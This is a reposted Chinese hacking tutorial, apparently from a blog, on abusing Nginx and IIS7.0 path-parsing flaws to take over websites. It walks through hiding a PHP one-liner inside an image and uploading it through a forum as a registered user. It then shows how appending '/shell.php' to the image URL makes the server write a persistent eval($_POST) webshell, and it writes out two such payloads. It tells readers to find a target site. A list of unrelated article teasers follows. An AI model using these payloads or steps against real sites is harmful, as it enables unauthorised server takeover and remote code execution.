通杀IIS7.0畸形解析0day漏洞

先合并一张PHP一句话图片马,合并方法:


①、DOS合并:copy 1.gif /b + 1.txt/a asp.gif


②、用edjpgcom,进行图片和一句话木马的合并,


图片随便找一张.


【顺带着说一下edjpgcom的使用方法:打开edjpgcom.exe所在文件夹,然后把你所要修改的图片拖动到

edjpgcom.exe上面,然后edjpgcom.exe会自动打开,写入想要些的代码即可】
一句话:

<?PHP fputs(fopen(’shell.php’,’w’),’<?php eval($_POST[cmd])?>’);?>
然后找个nginx的站,先注册一个用户然后在论坛上传一张我们刚刚合并的图片一句话马。

找到图片地址,然后在地址后面加个shell.php,在浏览器中运行。

比如假设图片地址为http://blog.exehack.com/tupian/1.jpg

则执行地址为http://blog.exehack.com/tupian/1.jpg/shell.php

然后,会在目录下生成shell.php。比如:http://blog.exehack.com/tupian/shell.php

shell.php就是我们的一句话地址。再拿一句话的客户端连接这个一句话地址就好。

上面就是Nginx拿站全过程,IIS7.0的畸形解析和这个类似。 

 

找到某个使用IIS7.0架设的站,然后找到其中的图片上传点(不需要管理权限,普通注册用户即可搞定),把PHP大马后缀改成.jpg,传上去,得到图片地址。

 

在图片格式后面添加xx.php xx随便你怎么填。只要后缀为.php就好。

 

<?fputs(fopen(“3Kin.PHP”,”w”),”<?eval(\$_POST[3Kin]);?>”)?>

转载于:https://www.cnblogs.com/canlay/archive/2012/01/17/2325123.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/495163.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

谁将引领5G标准?

来源&#xff1a;中国知识产权杂志作者&#xff1a;王活涛 郑友德 沈剑锋 袁真富中国企业的5G技术创新之所以能不断取得突破性的成果&#xff0c;在全球通信标准上占有一定的“话语权”&#xff0c;在很大程度上得益于中国企业对技术创新的大力投入和发明专利积累。截止2018年6…

Python 操作 Kafka --- kafka-python

kafka-python&#xff1a;https://github.com/dpkp/kafka-python kafka-python 文档&#xff1a;https://kafka-python.readthedocs.io/en/master/apidoc/modules.html kafka 官方文档&#xff1a;http://kafka.apache.org/documentation.html Python 操作 Kafka 的通俗总结&a…

22岁年终总结

不知不觉一年就要过去了&#xff0c;想想刚背包来到北京没多久 这又要回去了&#xff0c;时间过得真快。我们能有多少一个一年啊&#xff0c;这一年我做了些什么 得到了些什么&#xff0c;失去了些什么&#xff0c;感悟到了什么&#xff0c;如何看待人生 如何对待爱情 如何对待…

k8s 基本使用

Kubernetes 编排系统&#xff1a;https://www.cnblogs.com/gaoyuechen/p/8685771.html k8s 集群中的 yaml 文件详解&#xff1a;https://blog.csdn.net/qq_28361541/article/details/106089574 什么是 k8s&#xff0c;k8s 有什么功能 ? &#xff1a;https://www.jianshu.com…

全球芯片行业现状分析:大家都在依赖美国 未来如何破局?

来源&#xff1a;网易智能翻译&#xff1a;乐邦香港媒体《南华早报》近日发文称&#xff0c;中国依赖于美国的核心技术已有一定的时日&#xff0c;但全世界都是如此&#xff0c;美国在半导体制造领域无可撼动的领先优势&#xff0c;是50多年的研发成果。随着中兴事件进入下一个…

【转载】不带www跳转www.设定网站唯一入口,提升权重!

目的&#xff1a;设定网站唯一入口。描述&#xff1a;请在浏览器访问你的网站&#xff0c;注意url头是否带 www&#xff0c;例&#xff1a;www.59dd.com 或不带www&#xff0c;例&#xff1a;59dd.com 。检测两种入口是否能顺利打开网站。问题&#xff1a;如果两种url同时可以打…

AI企业下一个使命:让生物特征数据使用走向阳光透明

来源&#xff1a;亿欧网摘要&#xff1a;时隔一年&#xff0c;生物特征识别技术不断被完善&#xff0c;公众的生物特征数据仍然每天被传感器收集汇总&#xff0c;但是对于生物特征数据的收集、储存、使用和流通仍然是半遮半掩的灰色区域&#xff0c;各方好像都等着导火索的出现…

jQuery 1.7.1 代码研究 extend

/* version : 1.7.1 * codeName : jQuery * node author : Alfred lee*/// extend 函数是jQuery 的扩展函数。也是传说中的深度拷贝// 首行把 jQuery.extend jQuery.fn.extend 统一赋值一个函数。jQuery.extend jQuery.fn.extend function() {var options, name, src, copy, …

命令行 浏览器

使用命令行浏览器在 Linux 终端上网浏览 我猜你阅读这篇文章可能是用 Firefox 或基于 Chrome 的浏览器&#xff08;如 Brave&#xff09;&#xff0c;或者&#xff0c;也可能是 Chrome 浏览器或 Chromium。 换句话说&#xff0c;你正在利用基于 GUI 的方式浏览网页。然而&…

重磅来袭,机器人四大家族财务报表大揭秘

来源&#xff1a;华尔街见闻摘要&#xff1a;四大家族实力强劲&#xff0c;在机器人技术与市场占有率上遥遥领先。在2015年之前&#xff0c;四大家族在全球的市占率在50%以上&#xff0c;而随着全球许多细分领域机器人厂商的崛起以及《中国制造2025》推动下国内厂商的发展&…

Python 操作 pymysql 批量 增、删、改、查

github&#xff1a;https://github.com/PyMySQL/PyMySQL Python3 MySQL 数据库连接 - PyMySQL 驱动&#xff1a;https://www.runoob.com/python3/python3-mysql.html pymysql 是线程安全的&#xff08; 搜索 thread&#xff0c;可以看到 thread_safe1&#xff0c;同时函数 th…

大型JavaScript应用程序架构模式

http://www.cnblogs.com/TomXu/archive/2011/12/14/2286225.html转载于:https://www.cnblogs.com/aaa6818162/archive/2012/02/03/2337242.html

Python 定时任务框架 apscheduler

github 地址&#xff1a;https://github.com/agronholm/apscheduler apscheduler 基本概念介绍 说到定时任务&#xff0c;会想起 linux 自带的 crontab &#xff0c;windows 自带的任务计划&#xff0c;都可以实现守时任务。操作系统基本都会提供定时任务的实现&#xff0c;但是…

一文看懂人工智能产业链,未来10年2000亿美元市场

来源&#xff1a;传感器技术摘要&#xff1a;据腾讯研究院统计&#xff0c;截至2017年6月&#xff0c;全球人工智能初创企业共计2617家。美国占据1078家居首&#xff0c;中国以592家企业排名第二&#xff0c;其后分别是英国&#xff0c;以色列&#xff0c;加拿大等国家。根据艾…

Griview中的删除按钮添加“确认提示”

<ItemTemplate><asp:LinkButton ID"LinkButton1" runat"server" CausesValidation"false"CommandName"dele" Text"删除" CommandArgument<%#Eval("EmpNo") %> OnClientClick"return confirm…

如何跟机器人“抢”工作?专家:新的分工将形成

来源&#xff1a;经济日报摘要&#xff1a;随着人工智能技术的深度发展和机器人的广泛应用&#xff0c;人们会从许多传统生产活动中解放出来&#xff0c;有了更多闲暇时间&#xff0c;更强大的支持手段&#xff0c;让生活更有趣和丰富多彩。创新、创意会成为生活和工作中的必需…

hwnd = 0 各种粗心大意啊!

一个简单的对话框程序。运行后出了错误&#xff0c;m_pMainWndNULL了。 CDInputTestDlg dlg; m_pMainWnd &dlg; 百思不得其解&#xff0c;后来终于发现在自己写的一个类的构造函数中。 由于下面一行从上面一行复制过来&#xff0c;只改了前面的参数忘了后面的&#xff0c;…

Scrapy 爬虫教程导航

From&#xff1a;https://brucedone.com/archives/771 8个最高效的 Python 爬虫框架 1. Scrapy。Scrapy是一个为了爬取网站数据&#xff0c;提取结构性数据而编写的应用框架。2. PySpider。pyspider 是一个用python实现的功能强大的网络爬虫系统&#xff0c;能在浏览器界面上进…

手指甲上的月牙辨健康,月牙会“丢”也能“长回来”

我以前指甲上只有两个小月牙&#xff0c;都是在大拇指上的。后来听一些姐妹说这是气虚血弱的表现。。。于是我就去问我们楼下80多岁的老中医&#xff08;嘿嘿&#xff01;他和我关系可好了&#xff09;&#xff0c;这位老中医以前是我们这边省中医院内科的专家&#xff0c;退休…

互联网让我们变笨了吗:过去10年关于大脑的11个有趣发现

来源&#xff1a;资本实验室摘要&#xff1a;人类大脑&#xff0c;长期以来被认为科学和宇宙中最复杂的事物之一。鉴于其复杂性&#xff0c;受制于技术限制&#xff0c;过去科学家很难解开其内部运作的秘密&#xff0c;但目前的研究成果表明我们离秘密又近了一些。聚焦前沿科技…